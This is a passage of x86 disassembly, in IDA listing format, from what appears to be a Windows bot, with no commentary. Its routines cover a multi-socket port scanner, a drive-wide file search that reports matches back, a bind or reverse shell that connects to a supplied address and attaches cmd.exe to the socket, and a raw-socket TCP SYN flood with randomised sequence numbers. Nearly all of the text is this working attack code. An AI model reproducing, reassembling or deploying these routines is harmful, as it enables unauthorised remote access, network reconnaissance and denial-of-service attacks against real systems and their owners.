; ---------------------------------------------------------------------------


loc_403C62:				; CODE XREF: sub_403B95+AEj
					; sub_403B95+C9j
		mov	eax, [ebp+var_2C0]
		cmp	eax, [ebp+var_2A0]
		jnz	short loc_403C9D
		cmp	[ebp+var_2A0], 40h
		jnb	short loc_403C9D
		mov	eax, [ebp+var_2C0]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ebp+ecx*4+var_88]
		mov	[ebp+eax*4+var_29C], ecx
		mov	eax, [ebp+var_2A0]
		inc	eax
		mov	[ebp+var_2A0], eax


loc_403C9D:				; CODE XREF: sub_403B95+D9j
					; sub_403B95+E2j
		xor	eax, eax
		jnz	short loc_403C21


loc_403CA1:				; CODE XREF: sub_403B95+18Aj
		and	[ebp+var_2C4], 0
		jmp	short loc_403CB7
; ---------------------------------------------------------------------------


loc_403CAA:				; CODE XREF: sub_403B95:loc_403CE0j
		mov	eax, [ebp+var_2C4]
		inc	eax
		mov	[ebp+var_2C4], eax


loc_403CB7:				; CODE XREF: sub_403B95+113j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_190]
		jnb	short loc_403CE2
		mov	eax, [ebp+var_2C4]
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_18C]
		cmp	eax, [ebp+ecx*4+var_88]
		jnz	short loc_403CE0
		jmp	short loc_403CE2
; ---------------------------------------------------------------------------


loc_403CE0:				; CODE XREF: sub_403B95+147j
		jmp	short loc_403CAA
; ---------------------------------------------------------------------------


loc_403CE2:				; CODE XREF: sub_403B95+12Ej
					; sub_403B95+149j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_190]
		jnz	short loc_403D1D
		cmp	[ebp+var_190], 40h
		jnb	short loc_403D1D
		mov	eax, [ebp+var_2C4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ebp+ecx*4+var_88]
		mov	[ebp+eax*4+var_18C], ecx
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax


loc_403D1D:				; CODE XREF: sub_403B95+159j
					; sub_403B95+162j
		xor	eax, eax
		jnz	short loc_403CA1
		push	10h
		call	dword_4010DC	; Sleep
		jmp	loc_403BDE
; ---------------------------------------------------------------------------


loc_403D2E:				; CODE XREF: sub_403B95+54j
		and	[ebp+var_4], 0
		jmp	short loc_403D3B
; ---------------------------------------------------------------------------


loc_403D34:				; CODE XREF: sub_403B95+1D8j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_403D3B:				; CODE XREF: sub_403B95+19Dj
		cmp	[ebp+var_4], 20h
		jge	short loc_403D6F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	dword_401158	; ntohl
		mov	[ebp+var_2B4], eax
		push	10h
		lea	eax, [ebp+var_2B8]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_88]
		call	dword_40112C	; connect
		jmp	short loc_403D34
; ---------------------------------------------------------------------------


loc_403D6F:				; CODE XREF: sub_403B95+1AAj
		push	1400h
		call	dword_4010DC	; Sleep
		lea	eax, [ebp+var_2A8]
		push	eax
		push	0
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	eax
		push	0
		call	dword_401138	; select
		mov	[ebp+var_194], eax
		and	[ebp+var_4], 0
		jmp	short loc_403DAC
; ---------------------------------------------------------------------------


loc_403DA5:				; CODE XREF: sub_403B95:loc_403E0Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_403DAC:				; CODE XREF: sub_403B95+20Ej
		cmp	[ebp+var_4], 20h
		jge	short loc_403E0C
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_88]
		call	dword_401140	; closesocket
		cmp	[ebp+var_194], 0FFFFFFFFh
		jz	short loc_403DFF
		lea	eax, [ebp+var_2A0]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_88]
		call	sub_405C4E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403E0A
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_88]
		call	sub_405C4E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403E0A


loc_403DFF:				; CODE XREF: sub_403B95+234j
		mov	eax, [ebp+var_4]
		or	[ebp+eax*4+var_88], 0FFFFFFFFh


loc_403E0A:				; CODE XREF: sub_403B95+24Ej
					; sub_403B95+268j
		jmp	short loc_403DA5
; ---------------------------------------------------------------------------


loc_403E0C:				; CODE XREF: sub_403B95+21Bj
		and	[ebp+var_4], 0
		jmp	short loc_403E19
; ---------------------------------------------------------------------------


loc_403E12:				; CODE XREF: sub_403B95:loc_403E55j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_403E19:				; CODE XREF: sub_403B95+27Bj
		cmp	[ebp+var_4], 20h
		jge	short locret_403E57
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax*4+var_88], 0FFFFFFFFh
		jz	short loc_403E55
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	dword_401158	; ntohl
		push	eax
		push	offset loc_40581A
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		push	8
		call	dword_4010DC	; Sleep


loc_403E55:				; CODE XREF: sub_403B95+295j
		jmp	short loc_403E12
; ---------------------------------------------------------------------------

locret_403E57:				; CODE XREF: sub_403B95+288j
		leave
		retn	8
sub_403B95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E5B	proc near		; CODE XREF: sub_402C9E+E3p
					; sub_403E5B+39p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	[ebp+var_4], al
		cmp	[ebp+var_4], 0
		jz	short loc_403E7C
		cmp	[ebp+var_4], 2Ah
		jz	short loc_403E8C
		cmp	[ebp+var_4], 3Fh
		jz	short loc_403EC4
		jmp	short loc_403EE5
; ---------------------------------------------------------------------------


loc_403E7C:				; CODE XREF: sub_403E5B+11j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	loc_403F1A
; ---------------------------------------------------------------------------


loc_403E8C:				; CODE XREF: sub_403E5B+17j
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_403E5B
		cmp	eax, 1
		jnz	short loc_403EA5
		xor	eax, eax
		inc	eax
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------
		db 0EBh
		db 1Fh
; ---------------------------------------------------------------------------


loc_403EA5:				; CODE XREF: sub_403E5B+41j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_403EC0
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_403E5B
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------
		dw 4EBh
; ---------------------------------------------------------------------------


loc_403EC0:				; CODE XREF: sub_403E5B+52j
		xor	eax, eax
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------


loc_403EC4:				; CODE XREF: sub_403E5B+1Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_403ED4
		xor	eax, eax
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------
		dw 11EBh
; ---------------------------------------------------------------------------


loc_403ED4:				; CODE XREF: sub_403E5B+71j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_403E5B
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------


loc_403EE5:				; CODE XREF: sub_403E5B+1Fj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		push	eax
		call	dword_4010F0	; CharUpperA
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	dword_4010F0	; CharUpperA
		cmp	esi, eax
		jnz	short loc_403F18
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_403E5B
		jmp	short loc_403F1A
; ---------------------------------------------------------------------------
		dw 2EBh
; ---------------------------------------------------------------------------


loc_403F18:				; CODE XREF: sub_403E5B+A8j
		xor	eax, eax


loc_403F1A:				; CODE XREF: sub_403E5B+2Cj
					; sub_403E5B+46j ...
		pop	esi
		leave
		retn	8
sub_403E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F1F	proc near		; CODE XREF: sub_403062+450p

var_318		= byte ptr -318h
var_314		= byte ptr -314h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		and	[ebp+var_108], 0
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_4010BC	; lstrcpynA
		push	0
		push	0
		lea	eax, [ebp+var_108]
		push	eax
		push	offset loc_403F79
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		test	eax, eax
		jz	short locret_403F75


loc_403F62:				; CODE XREF: sub_403F1F+54j
		cmp	[ebp+var_108], 0
		jnz	short locret_403F75
		push	8
		call	dword_4010DC	; Sleep
		jmp	short loc_403F62
; ---------------------------------------------------------------------------

locret_403F75:				; CODE XREF: sub_403F1F+41j
					; sub_403F1F+4Aj
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_403F79:				; DATA XREF: sub_403F1F+30o
		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	108h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40392B
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 1
		lea	eax, [ebp+var_208]
		push	eax
		push	200h
		call	dword_401078	; GetLogicalDriveStringsA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_403FC3
		cmp	[ebp+var_4], 200h
		jbe	short loc_403FC7


loc_403FC3:				; CODE XREF: sub_403F1F+99j
		xor	eax, eax
		jmp	short locret_40402F
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403F1F+A2j
		lea	eax, [ebp+var_208]
		mov	[ebp+var_20C], eax
		jmp	short loc_403FF1
; ---------------------------------------------------------------------------


loc_403FD5:				; CODE XREF: sub_403F1F:loc_40402Bj
		push	[ebp+var_20C]
		call	dword_401074	; lstrlenA
		mov	ecx, [ebp+var_20C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_20C], eax


loc_403FF1:				; CODE XREF: sub_403F1F+B4j
		mov	eax, [ebp+var_20C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40402D
		push	[ebp+var_20C]
		call	dword_4010D8	; GetDriveTypeA
		mov	[ebp+var_210], eax
		cmp	[ebp+var_210], 3
		jnz	short loc_40402B
		lea	eax, [ebp+var_314]
		push	eax
		push	[ebp+var_20C]
		call	sub_404033


loc_40402B:				; CODE XREF: sub_403F1F+F8j
		jmp	short loc_403FD5
; ---------------------------------------------------------------------------


loc_40402D:				; CODE XREF: sub_403F1F+DDj
		xor	eax, eax

locret_40402F:				; CODE XREF: sub_403F1F+A6j
		leave
		retn	4
sub_403F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404033	proc near		; CODE XREF: sub_403F1F+107p
					; sub_404033+ABp

var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_514		= byte ptr -514h
var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 544h
		push	[ebp+arg_0]
		push	offset a_256s	; "%.256s*"
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_540]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_401084	; FindFirstFileA
		mov	[ebp+var_544], eax
		cmp	[ebp+var_544], 0FFFFFFFFh
		jnz	short loc_40407C
		jmp	locret_40414B
; ---------------------------------------------------------------------------


loc_40407C:				; CODE XREF: sub_404033+42j
					; sub_404033+106j
		mov	eax, [ebp+var_540]
		and	eax, 10h
		jz	short loc_4040E5
		push	offset a_	; "."
		lea	eax, [ebp+var_514]
		push	eax
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jz	short loc_4040B3
		push	offset a__	; ".."
		lea	eax, [ebp+var_514]
		push	eax
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	short loc_4040B5


loc_4040B3:				; CODE XREF: sub_404033+68j
		jmp	short loc_404124
; ---------------------------------------------------------------------------


loc_4040B5:				; CODE XREF: sub_404033+7Ej
		lea	eax, [ebp+var_514]
		push	eax
		push	[ebp+arg_0]
		push	offset a_256s_250s ; "%.256s%.250s\\"
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 10h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_404033
		jmp	short loc_404124
; ---------------------------------------------------------------------------


loc_4040E5:				; CODE XREF: sub_404033+52j
		lea	eax, [ebp+var_514]
		push	eax
		push	[ebp+arg_4]
		call	sub_403E5B
		cmp	eax, 1
		jnz	short loc_404124
		lea	eax, [ebp+var_514]
		push	eax
		push	[ebp+arg_0]
		push	offset aFindfile_256s_ ; "[findfile] %.256s%.240s"
		lea	eax, [ebp+var_400]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_402C53


loc_404124:				; CODE XREF: sub_404033:loc_4040B3j
					; sub_404033+B0j ...
		lea	eax, [ebp+var_540]
		push	eax
		push	[ebp+var_544]
		call	dword_401080	; FindNextFileA
		test	eax, eax
		jnz	loc_40407C
		push	[ebp+var_544]
		call	dword_40107C	; FindClose

locret_40414B:				; CODE XREF: sub_404033+44j
		leave
		retn	8
sub_404033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40414F	proc near		; CODE XREF: sub_403062+437p

var_274		= dword	ptr -274h
var_270		= word ptr -270h
var_26E		= word ptr -26Eh
var_26C		= dword	ptr -26Ch
var_260		= dword	ptr -260h
var_234		= dword	ptr -234h
var_230		= word ptr -230h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		and	[ebp+var_108], 0
		push	100h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_4010BC	; lstrcpynA
		push	0
		push	0
		lea	eax, [ebp+var_108]
		push	eax
		push	offset loc_4041A9
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		test	eax, eax
		jz	short locret_4041A5


loc_404192:				; CODE XREF: sub_40414F+54j
		cmp	[ebp+var_108], 0
		jnz	short locret_4041A5
		push	8
		call	dword_4010DC	; Sleep
		jmp	short loc_404192
; ---------------------------------------------------------------------------

locret_4041A5:				; CODE XREF: sub_40414F+41j
					; sub_40414F+4Aj
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4041A9:				; DATA XREF: sub_40414F+30o
		push	ebp
		mov	ebp, esp
		sub	esp, 274h
		push	100h
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_4010BC	; lstrcpynA
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 1
		push	3Ah
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40395A
		mov	[ebp+var_214], eax
		cmp	[ebp+var_214], 0
		jnz	short loc_4041F8
		xor	eax, eax
		jmp	locret_4043B0
; ---------------------------------------------------------------------------


loc_4041F8:				; CODE XREF: sub_40414F+A0j
		mov	eax, [ebp+var_214]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_214]
		inc	eax
		mov	[ebp+var_214], eax
		and	word ptr [ebp+var_4], 0
		jmp	short loc_404222
; ---------------------------------------------------------------------------


loc_404215:				; CODE XREF: sub_40414F+104j
		mov	eax, [ebp+var_214]
		inc	eax
		mov	[ebp+var_214], eax


loc_404222:				; CODE XREF: sub_40414F+C4j
		mov	eax, [ebp+var_214]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_404255
		movzx	eax, word ptr [ebp+var_4]
		imul	eax, 0Ah
		mov	word ptr [ebp+var_4], ax
		mov	eax, [ebp+var_214]
		movzx	eax, byte ptr [eax]
		sub	eax, 30h
		movzx	eax, ax
		movzx	ecx, word ptr [ebp+var_4]
		add	ecx, eax
		mov	word ptr [ebp+var_4], cx
		jmp	short loc_404215
; ---------------------------------------------------------------------------


loc_404255:				; CODE XREF: sub_40414F+DEj
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_40111C	; inet_addr
		mov	[ebp+var_26C], eax
		push	[ebp+var_4]
		call	dword_40110C	; ntohs
		mov	[ebp+var_26E], ax
		mov	[ebp+var_270], 2
		cmp	[ebp+var_26C], 0
		jnz	short loc_4042E9
		push	0
		push	0
		push	0
		push	6
		push	1
		push	2
		call	dword_401124	; WSASocketA
		mov	[ebp+var_274], eax
		push	10h
		lea	eax, [ebp+var_270]
		push	eax
		push	[ebp+var_274]
		call	dword_401148	; bind
		push	0
		push	[ebp+var_274]
		call	dword_40114C	; listen
		push	0
		push	0
		push	[ebp+var_274]
		call	dword_401150	; accept
		mov	[ebp+var_10C], eax
		push	[ebp+var_274]
		call	dword_401140	; closesocket
		jmp	short loc_404316
; ---------------------------------------------------------------------------


loc_4042E9:				; CODE XREF: sub_40414F+139j
		push	0
		push	0
		push	0
		push	6
		push	1
		push	2
		call	dword_401124	; WSASocketA
		mov	[ebp+var_10C], eax
		push	10h
		lea	eax, [ebp+var_270]
		push	eax
		push	[ebp+var_10C]
		call	dword_40112C	; connect


loc_404316:				; CODE XREF: sub_40414F+198j
		push	44h
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4038D9
		mov	[ebp+var_260], 44h
		mov	[ebp+var_234], 181h
		and	[ebp+var_230], 0
		mov	eax, [ebp+var_10C]
		mov	[ebp+var_224], eax
		mov	eax, [ebp+var_224]
		mov	[ebp+var_228], eax
		mov	eax, [ebp+var_228]
		mov	[ebp+var_220], eax
		push	100h
		lea	eax, [ebp+var_210]
		push	eax
		push	offset aComspecQ ; "\"%comspec%\" /Q"
		call	dword_401088	; ExpandEnvironmentStringsA
		push	offset dword_4015F0
		lea	eax, [ebp+var_260]
		push	eax
		push	0
		push	0
		push	10h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_210]
		push	eax
		push	0
		call	dword_4010A8	; CreateProcessA
		push	[ebp+var_10C]
		call	dword_401140	; closesocket
		xor	eax, eax

locret_4043B0:				; CODE XREF: sub_40414F+A4j
		leave
		retn	4
sub_40414F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043B4	proc near		; CODE XREF: sub_403062+36Dp

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	20h
		push	[ebp+arg_0]
		call	sub_40395A
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4043D2
		jmp	locret_4044BC
; ---------------------------------------------------------------------------


loc_4043D2:				; CODE XREF: sub_4043B4+17j
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	20h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_4010BC	; lstrcpynA
		push	20h
		push	[ebp+var_4]
		call	sub_40395A
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_404406
		jmp	locret_4044BC
; ---------------------------------------------------------------------------


loc_404406:				; CODE XREF: sub_4043B4+4Bj
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		and	[ebp+var_C], 0
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441A:				; CODE XREF: sub_4043B4+98j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404421:				; CODE XREF: sub_4043B4+64j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40444E
		movzx	eax, [ebp+var_C]
		imul	eax, 0Ah
		mov	[ebp+var_C], ax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		sub	eax, 30h
		movzx	eax, ax
		movzx	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], cx
		jmp	short loc_40441A
; ---------------------------------------------------------------------------


loc_40444E:				; CODE XREF: sub_4043B4+75j
		and	[ebp+var_30], 0
		jmp	short loc_40445B
; ---------------------------------------------------------------------------


loc_404454:				; CODE XREF: sub_4043B4+CAj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40445B:				; CODE XREF: sub_4043B4+9Ej
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_404480
		mov	eax, [ebp+var_30]
		imul	eax, 0Ah
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_30]
		lea	eax, [ecx+eax-30h]
		mov	[ebp+var_30], eax
		jmp	short loc_404454
; ---------------------------------------------------------------------------


loc_404480:				; CODE XREF: sub_4043B4+AFj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		and	[ebp+var_38], 0
		and	dword_4014CC, 0
		push	0
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		push	offset loc_4044CF
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		test	eax, eax
		jz	short locret_4044BC


loc_4044AC:				; CODE XREF: sub_4043B4+106j
		cmp	[ebp+var_38], 0
		jnz	short locret_4044BC
		push	8
		call	dword_4010DC	; Sleep
		jmp	short loc_4044AC
; ---------------------------------------------------------------------------

locret_4044BC:				; CODE XREF: sub_4043B4+19j
					; sub_4043B4+4Dj ...
		leave
		retn	8
sub_4043B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044C0	proc near		; CODE XREF: sub_403062:loc_4033D9p
		push	ebp
		mov	ebp, esp
		mov	dword_4014CC, 1
		pop	ebp
		retn
sub_4044C0	endp

; ---------------------------------------------------------------------------


loc_4044CF:				; DATA XREF: sub_4043B4+E5o
		push	ebp
		mov	ebp, esp
		sub	esp, 308h
		push	esi
		push	edi
		mov	esi, [ebp+8]
		push	0Bh
		pop	ecx
		lea	edi, [ebp-2A4h]
		rep movsd
		movsw
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 1
		push	0FFh
		push	3
		push	2
		call	dword_401160	; socket
		mov	[ebp-44h], eax
		cmp	dword ptr [ebp-44h], 0FFFFFFFFh
		jnz	short loc_404512
		xor	eax, eax
		jmp	loc_404862
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: MEW:00404509j
		mov	dword ptr [ebp-2ACh], 1
		push	4
		lea	eax, [ebp-2ACh]
		push	eax
		push	2
		push	0
		push	dword ptr [ebp-44h]
		call	dword_401128	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40453E
		xor	eax, eax
		jmp	loc_404862
; ---------------------------------------------------------------------------


loc_40453E:				; CODE XREF: MEW:00404535j
		lea	eax, [ebp-298h]
		push	eax
		call	dword_40111C	; inet_addr
		mov	[ebp-8], eax
		mov	word ptr [ebp-18h], 2
		and	word ptr [ebp-16h], 0
		mov	eax, [ebp-8]
		mov	[ebp-14h], eax
		mov	dword ptr [ebp-4], 10h
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-260h]
		push	eax
		push	dword_4014DC
		call	dword_401134	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404589
		xor	eax, eax
		jmp	loc_404862
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: MEW:00404580j
		call	dword_4010A4	; GetTickCount
		and	eax, 0FFh
		shl	eax, 18h
		xor	eax, [ebp-25Ch]
		mov	[ebp-1Ch], eax
		mov	byte ptr [ebp-40h], 45h
		mov	word ptr [ebp-3Eh], 2800h
		mov	word ptr [ebp-3Ch], 1
		and	word ptr [ebp-3Ah], 0
		mov	byte ptr [ebp-38h], 80h
		mov	byte ptr [ebp-37h], 6
		and	word ptr [ebp-36h], 0
		call	dword_4010A4	; GetTickCount
		xor	eax, 95EC27A5h
		mov	[ebp-270h], eax
		and	dword ptr [ebp-26Ch], 0
		mov	byte ptr [ebp-267h], 2
		mov	byte ptr [ebp-268h], 50h
		mov	word ptr [ebp-266h], 2
		and	word ptr [ebp-262h], 0
		and	word ptr [ebp-264h], 0
		mov	byte ptr [ebp-24h], 0
		mov	byte ptr [ebp-23h], 6
		mov	word ptr [ebp-22h], 1400h
		mov	eax, [ebp-8]
		mov	[ebp-30h], eax
		mov	eax, [ebp-8]
		mov	[ebp-28h], eax
		mov	eax, [ebp-1Ch]
		mov	[ebp-34h], eax
		mov	eax, [ebp-1Ch]
		mov	[ebp-2Ch], eax
		movzx	eax, word ptr [ebp-278h]
		test	eax, eax
		jnz	short loc_404646
		call	dword_4010A4	; GetTickCount
		and	eax, 0FFFFh
		mov	[ebp-272h], ax
		jmp	short loc_404659
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: MEW:00404630j
		push	dword ptr [ebp-278h]
		call	dword_40110C	; ntohs
		mov	[ebp-272h], ax


loc_404659:				; CODE XREF: MEW:00404644j
		call	dword_4010A4	; GetTickCount
		and	eax, 0FFFFh
		xor	eax, 82E4h
		mov	[ebp-274h], ax
		push	0Ch
		lea	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2E8h]
		push	eax
		call	sub_40392B
		push	14h
		lea	eax, [ebp-274h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_40392B
		push	20h
		lea	eax, [ebp-2E8h]
		push	eax
		call	sub_404868
		mov	[ebp-2CCh], ax
		push	14h
		lea	eax, [ebp-40h]
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		call	sub_40392B
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		call	sub_404868
		mov	[ebp-2E6h], ax
		mov	dword ptr [ebp-48h], 1
		call	dword_4010A4	; GetTickCount
		mov	[ebp-250h], eax
		mov	eax, [ebp-29Ch]
		imul	eax, 3E8h
		add	eax, [ebp-250h]
		mov	[ebp-24Ch], eax
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_401110	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404724
		xor	eax, eax
		jmp	loc_404862
; ---------------------------------------------------------------------------


loc_404724:				; CODE XREF: MEW:0040471Bj
					; MEW:004047ACj
		call	dword_4010A4	; GetTickCount
		cmp	eax, [ebp-24Ch]
		jnb	short loc_4047B1
		cmp	dword_4014CC, 0
		jnz	short loc_4047B1
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_401110	; sendto
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_401110	; sendto
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_401110	; sendto
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp-2F0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_401110	; sendto
		mov	eax, [ebp-48h]
		add	eax, 4
		mov	[ebp-48h], eax
		jmp	loc_404724
; ---------------------------------------------------------------------------


loc_4047B1:				; CODE XREF: MEW:00404730j
					; MEW:00404739j
		call	dword_4010A4	; GetTickCount
		sub	eax, [ebp-250h]
		mov	[ebp-2A8h], eax
		push	dword ptr [ebp-44h]
		call	dword_401140	; closesocket
		cmp	dword ptr [ebp-2A0h], 0
		jnz	loc_404860
		mov	eax, [ebp-48h]
		imul	eax, 28h
		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		shr	eax, 0Ah
		mov	[ebp-2F8h], eax
		and	dword ptr [ebp-2F4h], 0
		fild	qword ptr [ebp-2F8h]
		mov	eax, [ebp-2A8h]
		mov	[ebp-300h], eax
		and	dword ptr [ebp-2FCh], 0
		fild	qword ptr [ebp-300h]
		fdivp	st(1), st
		fmul	dbl_401B88
		fistp	qword ptr [ebp-308h]
		push	dword ptr [ebp-308h]
